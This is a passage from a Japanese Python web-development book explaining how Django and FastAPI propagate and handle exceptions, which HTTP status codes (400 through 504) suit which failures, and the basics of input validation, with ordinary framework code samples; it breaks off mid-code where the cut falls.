4. 例外はどこで拾われるのか

本番環境でアプリケーションが例外を送出したとき、何が起きるのでしょうか。

  • 開発環境: Django は親切なデバッグページを表示し、FastAPI は JSON 形式のエラーレスポンスを返します。

  • 本番環境: DEBUG = False の Django は素っ気ない「Server Error (500)」を返し、FastAPI も最小限の {"detail": "Internal Server Error"} を返すだけです。

この違いは、例外が「どの層で捕捉されるか」を理解していれば自然に説明できます。Python の Web アプリケーションでは、リクエストは複数の層を通過して処理されます。ビューの中で例外が発生した場合、その例外はまずミドルウェアに伝播し、次にフレームワークのエラーハンドラに伝播し、さらにサーバ(Gunicorn や Uvicorn)に伝播します。各層には例外を捕捉する仕組みがあり、どの層で捕捉されるかによって、ユーザーに返されるレスポンスの内容やログの記録方法が変わります。

以降では、この「例外の伝播経路」をビューの中から外に向かって順に辿り、各層がどのように例外を扱うかを見ていきます。

diagram

Vol.2「Django を WSGI 視点で見る」で Django のミドルウェアチェーンを、Vol.2「FastAPI を ASGI 視点で見る」で FastAPI のミドルウェアと exception handler を学びましたが、それらの知識が「例外が発生したとき」という文脈でどう機能するかを見ていきます。

4.1. View 内

例外の旅の出発点は、ビュー(Django)またはエンドポイント関数(FastAPI)の中です。

もっとも基本的なエラー処理は、ビューの中で try/except を使って例外を捕捉し、適切なレスポンスを返すことです。

Tip

ビューの中で例外を捕捉する場合、「予期している例外」と「予期していない例外」を区別することが重要です。

# Django のビュー
from django.http import JsonResponse

def get_order(request, order_id):
    try:
        order = Order.objects.get(id=order_id)
    except Order.DoesNotExist:
        return JsonResponse({"error": "Order not found"}, status=404)
    return JsonResponse({"id": order.id, "total": order.total})
# FastAPI のエンドポイント
from fastapi import FastAPI, HTTPException

app = FastAPI()

@app.get("/orders/{order_id}")
async def get_order(order_id: int):
    order = await fetch_order(order_id)
    if order is None:
        raise HTTPException(status_code=404, detail="Order not found")
    return {"id": order.id, "total": order.total}

Django の例では、Order.DoesNotExist という例外を捕捉して 404 レスポンスを自分で組み立てています。FastAPI の例では、HTTPException を送出しています。FastAPI の HTTPException は通常の Python 例外ですが、フレームワークが特別扱いする例外であり、送出されるとフレームワークの exception handler が捕捉して適切な HTTP レスポンスに変換します。

上の例の Order.DoesNotExist は予期している例外です。ユーザーが存在しない注文 ID を指定することは想定内であり、404 を返すのは正常なアプリケーションの振る舞いです。

一方、データベースの接続エラーやメモリ不足のような予期しない例外を、ビューの中で安易に except Exception で握りつぶしてはいけません。

# やってはいけないパターン
def get_order(request, order_id):
    try:
        order = Order.objects.get(id=order_id)
        return JsonResponse({"id": order.id, "total": order.total})
    except Exception:
        return JsonResponse({"error": "Something went wrong"}, status=500)

危険

このコードは一見すると「どんなエラーでも 500 を返す堅牢なコード」に見えますが、実際には問題を隠蔽しています。データベースが停止しているのか、コードにバグがあるのか、メモリが枯渇しているのか――原因が何であれ同じ「Something went wrong」になり、ログにもトレースバックが記録されません。13-6 で構築した可観測性の仕組みが無意味になります。

予期しない例外はビューの中で捕捉せず、外側の層に伝播させるのが正しい設計です。

4.2. middleware

ビューから送出された例外が try/except で捕捉されなかった場合、次に通過するのはミドルウェアの層です。

Vol.2「Django を WSGI 視点で見る」で Django のミドルウェアチェーンを学んだとき、リクエストがミドルウェアを順番に通過し、ビューに到達し、レスポンスが逆順にミドルウェアを通過して返される、という流れを確認しました。例外が発生した場合もこの逆順の流れに従います。Django のミドルウェアには process_exception メソッドがあり、ビュー内で捕捉されなかった例外を処理する機会が与えられます。

# Django のカスタムミドルウェアで例外を処理する
import logging

logger = logging.getLogger(__name__)

class ErrorLoggingMiddleware:
    def __init__(self, get_response):
        self.get_response = get_response

    def __call__(self, request):
        return self.get_response(request)

    def process_exception(self, request, exception):
        logger.error(
            "Unhandled exception in %s %s",
            request.method, request.path,
            exc_info=True,
            extra={"request_path": request.path},
        )
        # None を返すと、例外はさらに外側の層に伝播する
        # HttpResponse を返すと、そのレスポンスがクライアントに返される
        return None

process_exceptionNone を返した場合、例外は次のミドルウェア(逆順なので、リクエスト時に先に通過したミドルウェア)の process_exception に伝播します。すべてのミドルウェアが None を返した場合、例外はフレームワークのデフォルトエラーハンドラに到達します。

FastAPI(Starlette)のミドルウェアでは、例外処理の仕組みが異なります。ASGI ミドルウェアは try/except を使って call_next の呼び出しを囲むことで、例外を捕捉できます。

# FastAPI のミドルウェアで例外を処理する
from fastapi import FastAPI, Request
from fastapi.responses import JSONResponse
import logging

app = FastAPI()
logger = logging.getLogger(__name__)

@app.middleware("http")
async def error_logging_middleware(request: Request, call_next):
    try:
        response = await call_next(request)
        return response
    except Exception as exc:
        logger.error(
            "Unhandled exception in %s %s",
            request.method, request.url.path,
            exc_info=True,
        )
        # 例外を再送出してフレームワークのハンドラに任せるか、
        # 自分でレスポンスを返すかを選ぶ
        raise

注釈

ミドルウェアで例外を捕捉する利点は、ビューごとに try/except を書かなくても、アプリケーション全体にわたる横断的なエラー処理(ログ記録、エラー通知、カスタムエラーレスポンスの生成)を一箇所にまとめられることです。

Vol.1「WSGI が生まれた背景」で WSGI ミドルウェアの概念を学び、Vol.1「WSGI の上に何が必要になるのか」で Werkzeug のミドルウェアを見ましたが、エラー処理はミドルウェアの典型的な活用場面です。

4.3. フレームワーク

すべてのミドルウェアを通過しても捕捉されなかった例外は、フレームワーク自身のエラーハンドラに到達します。

Django では、django.core.handlers.exception モジュールの response_for_exception 関数が最終的な例外処理を担います。この関数は、例外の種類に応じて次のように適切なレスポンスを生成します。

例外クラス

HTTP ステータス

Http404

404 Not Found

PermissionDenied

403 Forbidden

SuspiciousOperation

400 Bad Request

それ以外

500 Internal Server Error

警告

本番環境で DEBUG = True にしてはいけない理由のひとつは、デバッグページにデータベースの接続情報や環境変数といった機密情報が含まれるからです。DEBUG = False の場合は、handler500 に登録されたビュー(デフォルトでは django.views.defaults.server_error)が呼び出され、500.html テンプレートがレンダリングされます。

FastAPI では、HTTPException は専用の exception handler が処理します。それ以外の例外は、Starlette のデフォルトの ServerErrorMiddleware が捕捉し、500 レスポンスを返します。FastAPI では、カスタムの exception handler を登録して特定の例外に対する応答をカスタマイズできます。

from fastapi import FastAPI, Request
from fastapi.responses import JSONResponse

app = FastAPI()

class PaymentError(Exception):
    def __init__(self, order_id: str, message: str):
        self.order_id = order_id
        self.message = message

@app.exception_handler(PaymentError)
async def payment_error_handler(request: Request, exc: PaymentError):
    return JSONResponse(
        status_code=402,
        content={
            "error": "payment_failed",
            "order_id": exc.order_id,
            "detail": exc.message,
        },
    )

この仕組みにより、ビューの中で raise PaymentError("ORD-123", "Card declined") と書くだけで、フレームワークが適切な JSON レスポンスを生成してくれます。ビューのコードからエラーレスポンスの構築ロジックを分離できるため、ビューはビジネスロジックに集中できます。

フレームワークのエラーハンドラのもう一つの重要な役割は、例外をログに記録することです。Django は django.request ロガーに ERROR レベルで例外を記録します。13-6 で構築したログ収集の仕組みがこのロガーを拾っていれば、本番環境で発生した未捕捉の例外はすべて記録されます。

4.4. サーバ

フレームワークのエラーハンドラ自体が例外を送出するという、まれですが起こりうるケースがあります。テンプレートのレンダリング中にエラーが発生した場合(たとえば 500.html テンプレートが見つからない場合)や、exception handler のコード自体にバグがある場合です。このとき例外は WSGI/ASGI のインターフェースを超えて、サーバ層にまで到達します。

Gunicorn の場合

  • ワーカーが処理中に未捕捉の例外を送出した場合、その例外をログに記録し、クライアントに 500 レスポンスを返します。

  • ワーカー自体は終了せず、次のリクエストを処理し続けます。

  • ただし、例外がワーカーの実行環境を回復不能な状態にした場合(C 拡張のセグメンテーションフォールトなど)、ワーカープロセスは異常終了し、arbiter が新しいワーカーを起動します。

Uvicorn の場合

  • ASGI アプリケーションが例外を送出し、まだレスポンスヘッダを送信していなければ、Uvicorn は 500 レスポンスを返します。

  • ただし、レスポンスヘッダがすでに送信済みの場合は、ステータスコードを変更することができません。

  • このケースでは、ユーザーは 200 のステータスコードと不完全なレスポンスボディを受け取ることになります。

Vol.2「なぜ ASGI が必要になったのか」で ASGI の send の仕組みを学んだとき、「レスポンスヘッダは一度しか送信できない」という制約を確認しましたが、エラー処理の文脈ではこの制約が実務的な意味を持ちます。

重要

サーバ層は、例外の「最後の砦」です。ここまで到達する例外は、アプリケーションのコードでは対処できなかった深刻な問題を示しています。サーバ層のエラーログを日常的に監視し、ここに例外が記録されたら調査する、という運用フローを組み込んでおくことが重要です。


例外の伝播経路を図示すると、次のようになります。

ビュー / エンドポイント
  │ try/except で捕捉 → 適切なレスポンスを返す
  │ 捕捉しない →
  ▼
ミドルウェア
  │ process_exception / try-except で捕捉 → ログ記録、レスポンス返却
  │ 捕捉しない →
  ▼
フレームワークのエラーハンドラ
  │ 例外の種類に応じて 4xx/5xx レスポンスを生成
  │ exception handler 自体が失敗 →
  ▼
サーバ (Gunicorn / Uvicorn)
  │ 最後の砦として 500 レスポンスを返す
  │ ログに記録する

この図は、Vol.1「本書の対象読者とゴール」で描いた「ブラウザからレスポンスまでの全体像」を、例外処理の視点から再描画したものです。リクエストが外から内へ層を通過して処理されるように、例外は内から外へ層を通過して捕捉されます。

どの層で例外を捕捉すべきかは、「その層が例外について適切な判断を下せるか」で決まります。

  • ビュー: ビジネスロジック上の判断(存在しないリソースに 404 を返す)

  • ミドルウェア: 横断的な関心事(エラーログの記録、エラー通知)

  • フレームワーク・サーバ: 予期しない例外の安全網

次節では、この理解を踏まえて、本番環境でのエラーレスポンスの設計――ユーザーに何を見せ、何を見せないか――を考えていきます。

4.5. HTTP ステータスコードと失敗の種類

前節では、例外がビューからミドルウェア、フレームワーク、サーバへと伝播する経路を辿りました。各層で例外が捕捉されたとき、最終的にクライアントに返されるのは HTTP レスポンスです。そのレスポンスの先頭に置かれるステータスコードは、「何が起きたか」をクライアントに伝える最初の手がかりになります。

Vol.1「HTTP は何をやりとりしているのか」で HTTP の基礎を学んだとき、ステータスコードの分類(2xx は成功、4xx はクライアント側のエラー、5xx はサーバ側のエラー)を確認しました。以降では、Web アプリケーションの開発で頻繁に扱うステータスコードを取り上げ、それぞれがどのような「失敗の種類」に対応するかを見ていきます。

Tip

ステータスコードを正しく使い分けることは、API のクライアントにとっても運用チームにとっても重要です。すべてのエラーに 500 を返す、あるいはすべてに 400 を返すアプリケーションは、どちらにとっても扱いづらいものになります。

diagram

4.5.1. 400

400 Bad Request は、「リクエストの形式が不正であり、サーバはこのリクエストを理解できない」ことを意味します。

次のようなケースが 400 に該当します。

  • クライアントが送信した JSON の構文が壊れている

  • 必須のクエリパラメータが欠けている

  • Content-Type ヘッダが実際のリクエストボディと一致しない

Django では、SuspiciousOperation 例外やそのサブクラス(DisallowedHostRequestDataTooBig など)が送出されると、フレームワークが自動的に 400 を返します。ビューの中で明示的に 400 を返す場合は、リクエストデータの検証に失敗したときです。

# Django
from django.http import JsonResponse
import json

def create_order(request):
    try:
        body = json.loads(request.body)
    except json.JSONDecodeError:
        return JsonResponse(
            {"error": "Invalid JSON in request body"},
            status=400,
        )
    if "product_id" not in body:
        return JsonResponse(
            {"error": "product_id is required"},
            status=400,
        )
    # ...

FastAPI では、リクエストボディの JSON 解析やパスパラメータの型変換に失敗した場合、フレームワークが自動的に 422(後述)を返します。400 を明示的に返したい場合は HTTPException を使います。

400 と 422 の使い分けについては、422 の項で詳しく述べます。

4.5.2. 401

401 Unauthorized は、「認証が必要だが、リクエストには認証情報が含まれていないか、認証情報が無効である」ことを意味します。名前に「Unauthorized」とありますが、実際には「Unauthenticated」の意味です。

注釈

認証(あなたは誰か)と認可(あなたに権限があるか)の混同は HTTP の仕様自体に起因する歴史的な問題です。実務上は「ログインしていない」または「認証トークンが無効」の場合に 401 を使います。

Django REST Framework を使っている場合、認証バックエンドが認証に失敗すると自動的に 401 が返されます。FastAPI では、セキュリティの依存関係(Depends で注入する認証ロジック)が認証に失敗したときに HTTPException(status_code=401) を送出するのが一般的です。

# FastAPI
from fastapi import Depends, FastAPI, HTTPException
from fastapi.security import HTTPBearer

app = FastAPI()
security = HTTPBearer()

async def get_current_user(credentials=Depends(security)):
    user = await verify_token(credentials.credentials)
    if user is None:
        raise HTTPException(
            status_code=401,
            detail="Invalid or expired token",
        )
    return user

401 を返す際は、HTTP の仕様上 WWW-Authenticate レスポンスヘッダを含めることが求められています。このヘッダは、クライアントがどの認証スキーム(Bearer、Basic など)を使うべきかを示します。

4.5.3. 403

403 Forbidden は、「認証は成功したが、このリソースへのアクセス権限がない」ことを意味します。

ステータス

意味

401

あなたが誰かわからない(未認証)

403

あなたが誰かは分かったが、この操作は許可されていない(権限なし)

Django では、ビューの中で PermissionDenied 例外を送出するか、return HttpResponseForbidden() を返すことで 403 を表現します。Django のパーミッションシステム(@permission_required デコレータや has_perm メソッド)が権限チェックに失敗したときも、内部的に PermissionDenied が送出されます。

# Django
from django.core.exceptions import PermissionDenied

def delete_order(request, order_id):
    order = get_object_or_404(Order, id=order_id)
    if order.user != request.user:
        raise PermissionDenied("You cannot delete another user's order")
    order.delete()
    return JsonResponse({"status": "deleted"})

FastAPI では、同様に HTTPException(status_code=403) を送出します。

注意

403 と 404 の選択は、セキュリティの観点から慎重に判断すべき場面があります。たとえば、管理者専用のエンドポイント /admin/users/ に一般ユーザーがアクセスした場合、403 を返すとそのエンドポイントが存在することをクライアントに教えてしまいます。存在自体を隠したい場合は、あえて 404 を返すという選択もあります。

4.5.4. 404

404 Not Found は、「リクエストされたリソースが見つからない」ことを意味します。もっとも馴染み深いステータスコードでしょう。

Django では、Http404 例外を送出するか、get_object_or_404 ショートカットを使うことで 404 を表現します。Vol.2「Django を WSGI 視点で見る」で解説した URL 解決の流れで、どの URL パターンにもマッチしなかった場合も 404 が返されます。

# Django
from django.shortcuts import get_object_or_404

def get_order(request, order_id):
    order = get_object_or_404(Order, id=order_id)
    return JsonResponse({"id": order.id, "total": order.total})

FastAPI では HTTPException(status_code=404) を使います。ルーティング(Vol.2「FastAPI を ASGI 視点で見る」で解説したルーティングの流れ)でどのエンドポイントにもマッチしなかった場合も、Starlette が自動的に 404 を返します。

注釈

404 の設計で見落とされがちなのは、一覧エンドポイントと個別リソースエンドポイントの違いです。

  • GET /api/orders/(一覧): 結果が 0 件でも 200 を返し、空の配列 [] をレスポンスボディに含めるのが一般的です。

  • GET /api/orders/999(個別): そのリソースが存在しない場合は 404 を返します。

4.5.5. 405

405 Method Not Allowed は、「リクエストされた URL は存在するが、指定された HTTP メソッドは受け付けていない」ことを意味します。

たとえば、GET /api/orders/ は有効だが DELETE /api/orders/ は定義されていない場合に 405 が返されます。Django のクラスベースビューは、ビューが get メソッドを定義しているが delete メソッドを定義していない場合に自動的に 405 を返します。FastAPI でも、あるパスに @app.get は定義されているが @app.delete が定義されていない場合に 405 が返されます。

405 レスポンスには Allow ヘッダを含めることが HTTP の仕様で求められています。このヘッダは、そのURLで許可されている HTTP メソッドの一覧を示します(例: Allow: GET, POST, HEAD)。Django も FastAPI もこのヘッダを自動的に付与します。

404 と 405 の違いは、API のクライアントにとって有用な情報です。

ステータス

意味

404

その URL 自体が存在しない

405

その URL は存在するが、使い方が間違っている

クライアント開発者がデバッグする際、405 と Allow ヘッダを見れば「DELETE ではなく POST を使うべきだった」とすぐに気づけます。

4.5.6. 422

422 Unprocessable Entity は、「リクエストの構文は正しいが、内容のセマンティクスが不正である」ことを意味します。もともとは WebDAV の拡張仕様で定義されたステータスコードですが、API の文脈で広く使われるようになりました。

FastAPI がこのステータスコードを積極的に使う点は特筆に値します。Vol.2「FastAPI を ASGI 視点で見る」で解説した Pydantic によるデータ検証が失敗した場合、FastAPI は自動的に 422 を返し、どのフィールドがどのように不正だったかを詳細に示すレスポンスボディを生成します。

# FastAPI
from pydantic import BaseModel, Field

class OrderCreate(BaseModel):
    product_id: int
    quantity: int = Field(gt=0)

@app.post("/orders/")
async def create_order(order: OrderCreate):
    # Pydantic の検証を通過したデータだけがここに到達する
    return {"status": "created"}

quantity-1 を送信すると、FastAPI は次のような 422 レスポンスを返します。

{
  "detail": [
    {
      "type": "greater_than",
      "loc": ["body", "quantity"],
      "msg": "Input should be greater than 0",
      "input": -1
    }
  ]
}

400 と 422 の使い分けは、API 設計においてしばしば議論になります。一般的な整理は次の通りです。

ステータス

使うべきケース

400

リクエストの構文そのものが壊れている

JSON が解析できない、必須ヘッダがない

422

構文は正しいが、値がビジネスルールに違反している

数量が負の数、メールアドレスの形式が不正

ただし、この区分けに厳密な標準はなく、すべてのバリデーションエラーに 400 を使う API も多く存在します。API の中では一貫した基準を持つことが求められます。

フレームワークごとのデフォルト動作の違いも把握しておきましょう。

  • Django REST Framework: バリデーションエラーに 400 を返します。

  • FastAPI: バリデーションエラーに 422 を返します。

この差異を知っておくと、Django と FastAPI を併用するシステムで API レスポンスの一貫性を保つ設計がしやすくなります。

4.5.7. 500

500 Internal Server Error は、「サーバ内部で予期しないエラーが発生した」ことを意味します。14-1 で見たように、ビュー、ミドルウェア、フレームワークのいずれの層でも捕捉されなかった例外は、最終的にフレームワークまたはサーバが 500 を返します。

500 は「何かがおかしい」という以上の情報をクライアントに伝えません。そして、意図的にそうすべきです。

警告

500 の詳細な原因をクライアントに返すことは、セキュリティ上のリスクになります。トレースバックやデータベースのクエリ、内部の設定情報がレスポンスに含まれれば、攻撃者にシステムの内部構造を教えることになります。Django が DEBUG = False で素っ気ない「Server Error」だけを返すのは、この原則に基づいています。

クライアントに見せる情報と、運用チームが調査に使う情報は、明確に分離すべきです。

  • クライアントへ: 「エラーが発生しました。問題が続く場合はサポートにお問い合わせください」程度のメッセージと、エラーを一意に特定するためのリクエスト ID(あれば)を返します。

  • 運用チームへ: 詳細な原因はサーバ側のログに記録し、13-6 で構築したログ収集基盤を通じて調査します。

# FastAPI でリクエスト ID を含むエラーレスポンスを返す例
import uuid
from fastapi import FastAPI, Request
from fastapi.responses import JSONResponse

app = FastAPI()

@app.middleware("http")
async def add_request_id(request: Request, call_next):
    request_id = str(uuid.uuid4())
    request.state.request_id = request_id
    try:
        response = await call_next(request)
        response.headers["X-Request-ID"] = request_id
        return response
    except Exception:
        logger.error("Unhandled exception", extra={"request_id": request_id},
                     exc_info=True)
        return JSONResponse(
            status_code=500,
            content={
                "error": "Internal server error",
                "request_id": request_id,
            },
            headers={"X-Request-ID": request_id},
        )

ユーザーが「エラーが出ました」と報告するとき、request_id を教えてもらえれば、ログの中から該当するリクエストの詳細を即座に特定できます。

4.5.8. 502/503/504

これら 3 つのステータスコードは、13-8 のトラブルシューティングの観点で詳しく扱いました。ここでは、14-1 の「例外はどこで拾われるのか」という文脈での位置づけを補足します。

502、503、504 は、アプリケーションのコードが返すものではありません。リバースプロキシ(nginx)やロードバランサーが返すものです。つまり、14-1 で整理した「ビュー → ミドルウェア → フレームワーク → サーバ」という例外の伝播経路の、さらに外側にある層が返すステータスコードです。

アプリケーション開発者の視点から見ると、502/503/504 が返されているということは、自分のコードが生成したレスポンスがクライアントに届いていないことを意味します。問題はアプリケーションの外側にあるか、アプリケーションの外側から見た振る舞い(タイムアウト、プロセスの停止、接続の拒否)に起因しています。

Tip

これらのエラーの調査では、アプリケーションのログだけでなく、次の順で確認してください。

  1. nginx のエラーログ

  2. Gunicorn/Uvicorn のログ

  3. 13-7 で設定したヘルスチェックの状態

13-8 で示した切り分けのフロー図は、そのまま本番環境の障害対応手順として使えます。


本節で取り上げた各ステータスコードに共通しているのは、「エラーの責任がどこにあるか」を示しているという点です。

  • 4xx 系: クライアントの責任(リクエストが不正、認証が必要、権限がない、リソースが存在しない)

  • 5xx 系: サーバの責任(予期しないエラー、上流サーバの障害、タイムアウト)

この区分けを正しく使うことで、API のクライアントは「自分のリクエストを修正すべきか、サーバの復旧を待つべきか」を判断できます。運用チームは、4xx の増加は API の使い方の問題として、5xx の増加はシステムの問題として、それぞれ適切な対応を取ることができます。

次節では、これらのステータスコードが返されるとき、レスポンスボディに何を含めるべきか――エラーレスポンスの設計について考えます。

4.6. Django と FastAPI の例外処理の比較

前節では、各ステータスコードがどのような失敗に対応するかを整理しました。しかし、「400 を返す」「500 を返す」と言っても、実際にそのレスポンスを生成する仕組みはフレームワークによって大きく異なります。

  • Django: テンプレートベースのエラーページを中心に設計されています。

  • FastAPI: JSON レスポンスを前提とした exception handler の仕組みを持っています。

本書は Django と FastAPI のどちらかに偏らないことを方針としていますが、両者のエラー処理の設計思想の違いを理解しておくことは、「なぜそのフレームワークはそういう挙動をするのか」を考える力に直結します。

diagram

Vol.2「Django を WSGI 視点で見る」で Django の内部構造を、Vol.2「FastAPI を ASGI 視点で見る」で FastAPI の内部構造を学んだ知識が、ここで合流します。

4.6.1. Django の handler400/403/404/500

Django のエラー処理は、URL 設定(urls.py)に登録するカスタムエラーハンドラと、テンプレートによるエラーページのレンダリングを中心に設計されています。

14-1 で、フレームワークの層が例外の種類に応じて適切なレスポンスを生成すると説明しました。Django はこの処理を、handler400handler403handler404handler500 という 4 つのハンドラに委譲します。これらはルートの urls.py で上書きでき、カスタムのビュー関数を割り当てることができます。

# myproject/urls.py
from django.urls import path
from myapp import views

urlpatterns = [
    # 通常のURLパターン
    path("orders/", views.order_list),
    # ...
]

# カスタムエラーハンドラの登録
handler400 = "myapp.views.custom_400"
handler403 = "myapp.views.custom_403"
handler404 = "myapp.views.custom_404"
handler500 = "myapp.views.custom_500"

カスタムハンドラを登録しない場合、Django はデフォルトのハンドラ(django.views.defaults モジュール内)を使います。デフォルトのハンドラは、対応するテンプレート(400.html403.html404.html500.html)を探してレンダリングします。テンプレートが見つからなければ、最小限のテキストだけを含むレスポンスを返します。

注釈

この設計には Django の歴史的な背景が反映されています。Django はサーバサイドで HTML をレンダリングする「フルスタック」のフレームワークとして生まれました。エラーページも HTML として提供し、サイトのデザインに合わせたカスタムエラーページを表示するのが自然な発想です。

カスタムの 404 ハンドラを書く場合、次のようになります。

# myapp/views.py
from django.http import JsonResponse
from django.shortcuts import render

def custom_404(request, exception):
    # API リクエストかブラウザリクエストかで応答を分ける
    if request.content_type == "application/json":
        return JsonResponse(
            {"error": "Not found", "path": request.path},
            status=404,
        )
    return render(request, "errors/404.html", status=404)

ここで注目すべきは、handler404 の関数シグネチャに exception 引数がある点です。Django は Http404 例外のインスタンスをこの引数に渡します。一方、handler500 には exception 引数がありません。500 エラーが発生した時点で、例外の情報をクライアントに渡すべきではない、という Django の設計判断がシグネチャに表れています。

def custom_500(request):
    # handler500 には exception 引数がない
    # 例外の詳細はクライアントに渡さず、ログに記録する
    return render(request, "errors/500.html", status=500)

Django のエラー処理でもう一つ重要なのは、DEBUG = TrueDEBUG = False での挙動の違いです。

設定

表示される内容

DEBUG = True

例外のトレースバック、ローカル変数の値、SQL クエリのログ、リクエストのヘッダや POST データ、settings.py の内容(機密情報はマスク)

DEBUG = False

カスタムハンドラまたはデフォルトの最小限のエラーページのみ

この切り替えは、14-1 で述べた「ビューの中で予期しない例外を握りつぶしてはいけない」という原則を支える仕組みでもあります。例外を握りつぶさずに伝播させれば、フレームワークが環境に応じた適切な処理をしてくれます。

Django REST Framework を使っている場合は、エラー処理の仕組みがさらに一層追加されます。DRF は独自の exception handler を持ち、APIException とそのサブクラスを捕捉して、一貫した JSON 形式のエラーレスポンスを生成します。DRF のデフォルトの exception handler はバリデーションエラーに 400、認証エラーに 401、権限エラーに 403 を返します。カスタムの exception handler を登録することで、レスポンスのフォーマットを統一したり、エラー通知サービスとの連携を追加したりできます。

# Django REST Framework のカスタム exception handler
from rest_framework.views import exception_handler
import logging

logger = logging.getLogger(__name__)

def custom_exception_handler(exc, context):
    # DRF のデフォルト処理を呼び出す
    response = exception_handler(exc, context)

    if response is None:
        # DRF が処理しなかった例外(予期しない例外)
        logger.error("Unhandled exception in DRF view",
                     exc_info=True)
        return None  # Django のデフォルト処理に委ねる

    # レスポンスに一貫したフォーマットを適用する
    response.data = {
        "error": {
            "status": response.status_code,
            "detail": response.data,
        }
    }
    return response

この handler は settings.pyREST_FRAMEWORK 設定で登録します。

注意

DRF の exception handler は Django 本体の handler400 等とは別の仕組みであり、DRF のビュー内で発生した例外だけを処理します。DRF のビュー以外(通常の Django ビューやミドルウェア)で発生した例外は、Django 本体のエラーハンドラが処理します。この二重構造を理解しておかないと、「DRF のビューではエラーが JSON で返るのに、特定のエンドポイントだけ HTML が返る」といった混乱が生じます。

4.6.2. FastAPI / Starlette の exception handler

FastAPI のエラー処理は、Starlette の exception handler をベースにした、よりプログラマティックな仕組みです。

FastAPI では、特定の例外クラスに対する handler を @app.exception_handler デコレータで登録します。14-1 で示した PaymentError の例がこのパターンです。このアプローチでは、Python の例外の型とエラーレスポンスの生成ロジックを直接結びつけます。

from fastapi import FastAPI, Request, HTTPException
from fastapi.responses import JSONResponse
from fastapi.exceptions import RequestValidationError

app = FastAPI()

# HTTPException のハンドラをカスタマイズする
@app.exception_handler(HTTPException)
async def http_exception_handler(request: Request, exc: HTTPException):
    return JSONResponse(
        status_code=exc.status_code,
        content={
            "error": {
                "status": exc.status_code,
                "detail": exc.detail,
                "path": request.url.path,
            }
        },
    )

# バリデーションエラーのハンドラをカスタマイズする
@app.exception_handler(RequestValidationError)
async def validation_exception_handler(
    request: Request, exc: RequestValidationError
):
    return JSONResponse(
        status_code=422,
        content={
            "error": {
                "status": 422,
                "detail": "Validation failed",
                "errors": exc.errors(),
            }
        },
    )

FastAPI の exception handler は、Python の例外クラスの継承関係を活用できます。PaymentError の親クラスとして ApplicationError を定義し、ApplicationError に対する handler を登録すれば、そのサブクラスのすべてが同じ handler で処理されます。

class ApplicationError(Exception):
    def __init__(self, status_code: int, detail: str):
        self.status_code = status_code
        self.detail = detail

class PaymentError(ApplicationError):
    pass

class InventoryError(ApplicationError):
    pass

@app.exception_handler(ApplicationError)
async def application_error_handler(request: Request, exc: ApplicationError):
    return JSONResponse(
        status_code=exc.status_code,
        content={
            "error": {
                "status": exc.status_code,
                "detail": exc.detail,
            }
        },
    )

この設計により、ビューのコードでは raise PaymentError(402, "Card declined")raise InventoryError(409, "Out of stock") と書くだけで、統一されたフォーマットのエラーレスポンスが自動的に生成されます。ビューにエラーレスポンスの構築ロジックが散らばることがありません。

FastAPI / Starlette のエラー処理には、exception handler とは別に ServerErrorMiddlewareExceptionMiddleware という 2 つのミドルウェアが関与しています。リクエストの処理中に例外が発生すると、まず ExceptionMiddleware が登録済みの exception handler を探して実行します。該当する handler がなければ、ServerErrorMiddleware が最後の砦として 500 レスポンスを返します。DEBUG モードが有効な場合(Starlette の debug=True)、ServerErrorMiddleware は HTML のトレースバックページを生成します。

Django と FastAPI の exception handler の決定的な違いは、何をトリガーにするかです。

フレームワーク

トリガー

発想

Django handler400

HTTP ステータスコード

このステータスコードが返されるとき、どのビューでページを生成するか

FastAPI @app.exception_handler

Python の例外クラス

この例外が送出されたとき、どのようなレスポンスを生成するか

この違いは、両フレームワークの設計思想を反映しています。

  • Django: 「Web ページを返す」フレームワークとして出発し、エラーページもページの一種として扱います。

  • FastAPI: 「API レスポンスを返す」フレームワークとして設計され、エラーもデータの一種として扱います。

どちらが優れているということではなく、想定するユースケースが異なります。しかし、現実のアプリケーションでは境界は曖昧です。Django で API を構築することも、FastAPI で HTML を返すこともあります。Django REST Framework が Django 本体とは別の exception handler を持つのは、まさにこの境界の曖昧さに対処するためです。自分のアプリケーションが「誰に対して」エラーを返すのか――ブラウザのユーザーか、API のクライアントか、あるいはその両方か――を意識した上で、エラー処理の仕組みを選ぶ必要があります。


Django はステータスコードに対応するハンドラとテンプレートを中心に、FastAPI は例外クラスに対応する handler と JSON レスポンスを中心に設計されています。いずれのフレームワークも、例外を伝播させればフレームワークが適切に処理するという基本原則は共通しています。

この理解は、次節以降で扱う本番環境でのセキュリティの話題にも直結します。エラーレスポンスに何を含めるか、含めないか。デバッグ情報をどう隠蔽するか。CSRF や CORS の設定をどう構成するか。いずれも、フレームワークのエラー処理の仕組みを理解していることが前提になります。

4.7. 入力値を信用しない

「LLM にコードを生成してもらったら、入力値のチェックが一切入っていなかった」――これは現場で本当によくある話です。生成されたコードはロジックの骨格としては正しくても、外部から送られてくるデータを無条件に信頼してしまうことが少なくありません。

4 章例外はどこで拾われるのか)のここまでで例外の捕捉位置やステータスコードの選び方を学びましたが、そもそも例外を減らし、攻撃を未然に防ぐには「入力値を信用しない」という原則が欠かせません。以降では、次の4つの観点から、Django と FastAPI それぞれの守り方を見ていきます。

  • バリデーション: 形式・範囲の確認

  • エスケープ: 出力先に応じた変換

  • 型変換: 型の境界での検証

  • サニタイズ: 危険要素を除去しつつ受け入れる

diagram

4.7.1. バリデーション

バリデーションとは、受け取ったデータがアプリケーションの期待する形式と範囲に収まっているかを確認する工程です。次のような条件を、データベースに書き込む前に検証します。

  • 名前は空でないこと

  • 価格は 0 以上であること

  • メールアドレスが RFC に従った形式であること

Django ではフォームやシリアライザがバリデーションの中心です。forms.FormModelForm を定義すると、各フィールドに型制約と clean_* メソッドによるカスタム検証が適用されます。

# Django: forms.py
from django import forms

class OrderForm(forms.Form):
    product_name = forms.CharField(max_length=100)
    quantity = forms.IntegerField(min_value=1, max_value=9999)
    email = forms.EmailField()

    def clean_product_name(self):
        name = self.cleaned_data["product_name"]
        if "<" in name or ">" in name:
            raise forms.ValidationError("商品名に不正な文字が含まれています。")
        return name

FastAPI では Pydantic モデルがバリデーションを自動的に担います。型ヒントに基づいてリクエストボディやクエリパラメータを検証し、不正な値には 422 Unprocessable Entity を返します。Field の制約やカスタムバリデータも宣言的に記述できます。

# FastAPI: schemas.py
from pydantic import BaseModel, Field, field_validator

class OrderCreate(BaseModel):
    product_name: str = Field(max_length=100)
    quantity: int = Field(ge=1, le=9999)
    email: str = Field(pattern=r"^[\w\.\+\-]+@[\w\-]+\.[\w\.\-]+$")

    @field_validator("product_name")
    @classmethod
    def no_angle_brackets(cls, v: str) -> str:
